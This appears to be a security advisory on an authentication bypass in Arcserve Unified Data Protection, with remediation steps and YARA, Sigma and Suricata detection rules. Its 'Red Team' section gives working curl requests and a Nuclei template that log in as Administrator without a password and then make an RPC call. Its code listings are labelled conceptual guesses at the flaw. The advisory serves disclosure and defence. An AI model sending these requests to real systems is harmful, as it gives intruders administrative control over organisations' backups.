CVE-2024-0799

Executive Summary

CVE-2024-0799 is a critical authentication bypass vulnerability in Arcserve Unified Data Protection (UDP) versions 9.2 and 8.1. The flaw resides in the EdgeLoginServiceImpl.doLogin() function within the edge-app-base-webui.jar component, specifically in the wizardLogin endpoint. An unauthenticated attacker can exploit this vulnerability by sending a crafted POST request with a hardcoded username=Administrator parameter, bypassing the authentication mechanism entirely. Successful exploitation grants the attacker full administrative access to the Arcserve UDP management interface, allowing them to read, modify, or delete backup data, deploy ransomware, or pivot to other systems within the network. The CVSS score of 9.8 (Critical) and the availability of a public Nuclei template make this a high-priority threat for organizations using Arcserve UDP.

Supply Chain & Package Security

This vulnerability is not related to a software supply chain package (NPM, PyPI, Go, Ruby). It is a direct authentication bypass in a proprietary Java-based application (Arcserve UDP). No open-source package dependencies are involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full read access to all data.
• Integrity (I): High (H) – Full write/modify access.
• Availability (A): High (H) – Full ability to disrupt services.

Threat Level: Critical. The vulnerability is trivial to exploit, has a public PoC (Nuclei template), and provides complete system compromise.

Deep Dive & Mechanics

The vulnerability is an authentication bypass in the wizardLogin function of the Arcserve UDP management web interface. The EdgeLoginServiceImpl.doLogin() method, when called via the /management/wizardLogin endpoint, does not properly validate the user's credentials. Instead, it accepts a hardcoded or predictable username (e.g., Administrator) without requiring a password.

Technical Flow:

1. The attacker sends a POST request to /management/wizardLogin with username=Administrator and no password.
2. The server returns a 302 redirect with session cookies (EDGEJSESSIONID and notShowWizard), indicating a successful login.
3. The attacker can then use this session to make authenticated RPC calls to the backend, such as testDownloadServerConnnectionEdge, which returns //OK or //EX on success.

The vulnerability is in the Java class com.ca.arcserve.edge.app.base.ui.server.EdgeLoginServiceImpl.doLogin(). The method likely checks if the user is in a "wizard" state and bypasses password verification entirely.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// EdgeLoginServiceImpl.java (vulnerable)
public class EdgeLoginServiceImpl {
    public LoginResult doLogin(String username, String password) {
        // BUG: No password validation for wizard login
        if (isWizardMode()) {
            return new LoginResult(true, "Administrator"); // Always returns success
        }
        // Normal authentication logic (not reached)
    }
}

Patched Code (Hypothetical):

// EdgeLoginServiceImpl.java (patched)
public class EdgeLoginServiceImpl {
    public LoginResult doLogin(String username, String password) {
        if (isWizardMode()) {
            // FIX: Require valid credentials even in wizard mode
            if (authenticate(username, password)) {
                return new LoginResult(true, username);
            } else {
                return new LoginResult(false, null);
            }
        }
        // Normal authentication logic
    }
}

The patch would enforce password validation for all login paths, including the wizard mode.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Arcserve UDP 8.1 or 9.2.
• Network access to the management web interface (typically port 8014 or 443).

Exploitation Steps:

1. Bypass Authentication:

   curl -X POST "http://target:8014/management/wizardLogin" \
     -d "username=Administrator" \
     -v
   

   Expected response: 302 Found with Set-Cookie: EDGEJSESSIONID=...; notShowWizard=true.

2. Verify Access (using Nuclei template):

   nuclei -t CVE-2024-0799.yaml -u http://target:8014
   

3. Execute RPC Call:

   curl -X POST "http://target:8014/management/centralmanagementui/service/configuration" \
     -H "X-Gwt-Permutation: RANDOM" \
     -H "X-GWT-Module-Base: http://target:8014/management/centralmanagementui/" \
     -H "Content-Type: text/x-gwt-rpc; charset=UTF-8" \
     -d "7|0|7|http://target:8014/management/centralmanagementui/|7EAFA18B9A4008517B99DCC53178335B|com.ca.arcserve.edge.app.base.ui.client.components.configuration.ConfigurationService|testDownloadServerConnnectionEdge|com.ca.arcflash.webservice.data.PM.AutoUpdateSettings/2684954155|com.ca.arcflash.webservice.data.PM.ProxySettings/566911631||1|2|3|4|1|5|5|0|3|1|0|0|6|7|0|0|7|80|7|0|1|0|"
   

   Expected response: 200 OK with body containing //OK or //EX.

Nuclei Template (Provided):

id: CVE-2024-0799

info:
  name: Arcserve Unified Data Protection - Authentication Bypass
  author: daffainfo
  severity: critical
  description: |
    An authentication bypass vulnerability exists in Arcserve Unified Data Protection 9.2 and 8.1 in the edge-app-base-webui.jar!com.ca.arcserve.edge.app.base.ui.server.EdgeLoginServiceImpl.doLogin() function within wizardLogin.
  impact: |
    Attackers can bypass authentication, gaining unauthorized access to the system.
  remediation: |
    Update to the latest version of Arcserve Unified Data Protection or apply security patches provided by the vendor.
  reference:
    - https://www.tenable.com/security/research/tra-2024-07
    - https://nvd.nist.gov/vuln/detail/CVE-2024-0799
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-0799
    cwe-id: CWE-287
    epss-score: 0.37884
    epss-percentile: 0.97227
    cpe: cpe:2.3:a:arcserve:udp:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: arcserve
    product: udp
    shodan-query: http.favicon.hash:1015186617
    fofa-query: icon_hash="1015186617"
  tags: cve,cve2024,arcserve,auth-bypass,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /management/wizardLogin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=Administrator

    matchers:
      - type: dsl
        dsl:
          - "status_code == 302"
          - "contains_all(set_cookie, 'EDGEJSESSIONID','notShowWizard')"
        condition: and
        internal: true

  - raw:
      - |
        POST /management/centralmanagementui/service/configuration HTTP/1.1
        Host: {{Hostname}}
        X-Gwt-Permutation: {{randstr}}
        X-GWT-Module-Base: {{RootURL}}/management/centralmanagementui/
        Content-Type: text/x-gwt-rpc; charset=UTF-8

        7|0|7|{{RootURL}}/management/centralmanagementui/|7EAFA18B9A4008517B99DCC53178335B|com.ca.arcserve.edge.app.base.ui.client.components.configuration.ConfigurationService|testDownloadServerConnnectionEdge|com.ca.arcflash.webservice.data.PM.AutoUpdateSettings/2684954155|com.ca.arcflash.webservice.data.PM.ProxySettings/566911631||1|2|3|4|1|5|5|0|3|1|0|0|6|7|0|0|7|80|7|0|1|0|

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "//OK"
          - "//EX"
        condition: or

      - type: status
        status:
          - 200

Blue Team (Detection & Response)

Detection:

• Monitor for POST requests to /management/wizardLogin with username=Administrator and no password field.
• Alert on successful 302 responses from this endpoint followed by RPC calls to /management/centralmanagementui/service/configuration.
• Look for anomalous session creation (e.g., EDGEJSESSIONID cookies set without prior authentication).

Response:

1. Isolate affected systems immediately.
2. Review logs for unauthorized access to backup data.
3. Reset all administrative credentials.
4. Apply vendor patches if available, or implement network-level access controls (e.g., restrict access to the management interface via firewall rules).

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST request to /management/wizardLogin with body username=Administrator.
  • HTTP response 302 with Set-Cookie: EDGEJSESSIONID=...; notShowWizard=true.
  • Subsequent POST requests to /management/centralmanagementui/service/configuration with X-Gwt-Permutation and X-GWT-Module-Base headers.
  • RPC payload containing testDownloadServerConnnectionEdge and //OK or //EX in response.

• Host IOCs:

  • Unauthorized creation of backup jobs or modifications to backup policies.
  • New user accounts or changes to existing accounts in the Arcserve console.
  • Unusual outbound connections from the Arcserve server (e.g., to C2 infrastructure).

• File IOCs:

  • Log entries in edge.log or server.log showing successful login without password validation.

Detection Engineering

YARA Rule

rule CVE_2024_0799_Arcserve_AuthBypass {
    meta:
        description = "Detects exploitation attempts for CVE-2024-0799 in Arcserve UDP logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-0799"
    strings:
        $s1 = "wizardLogin" ascii wide nocase
        $s2 = "username=Administrator" ascii wide nocase
        $s3 = "EDGEJSESSIONID" ascii wide nocase
        $s4 = "notShowWizard" ascii wide nocase
        $s5 = "testDownloadServerConnnectionEdge" ascii wide nocase
    condition:
        any of ($s1, $s2) and any of ($s3, $s4, $s5)
}

Sigma Rule

title: CVE-2024-0799 Arcserve UDP Authentication Bypass
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2024-0799 authentication bypass in Arcserve UDP.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-0799
    - https://www.tenable.com/security/research/tra-2024-07
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/management/wizardLogin'
        cs-uri-query: 'username=Administrator'
    condition: selection
falsepositives:
    - Legitimate administrative actions (rare, as password is normally required)
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-0799 Arcserve UDP Authentication Bypass Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/management/wizardLogin";
    http_uri;
    content:"username=Administrator";
    http_client_body;
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    reference:cve,2024-0799;
    reference:url,https://nvd.nist.gov/vuln/detail/CVE-2024-0799;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate: Block external access to the Arcserve UDP management interface (ports 8014, 443, etc.) using firewall rules or network segmentation.
2. Monitor: Enable detailed logging on the web server and monitor for the IOCs listed above.
3. Credential Reset: Reset all administrative passwords and review user accounts for unauthorized changes.

Long-Term Fix:

• Vendor Patch: As of this report, no official patch is available. Contact Arcserve support for updates.
• Workaround: If patching is not possible, disable the wizard login functionality by modifying the application configuration (e.g., removing the wizardLogin endpoint mapping in the web.xml or Java code).
• Upgrade: Consider upgrading to a version beyond 9.2 if a patched version becomes available.

Detection Hardening:

• Deploy the YARA, Sigma, and Suricata rules provided in this report.
• Integrate the Nuclei template into your vulnerability scanning pipeline to identify vulnerable instances.

Valters IT
DevSecOps & Cyber Threat Intelligence Division
Report generated: 2025-04-10

{/* [Security Hash: 92BF68A96A12BC6A89AB552A] */}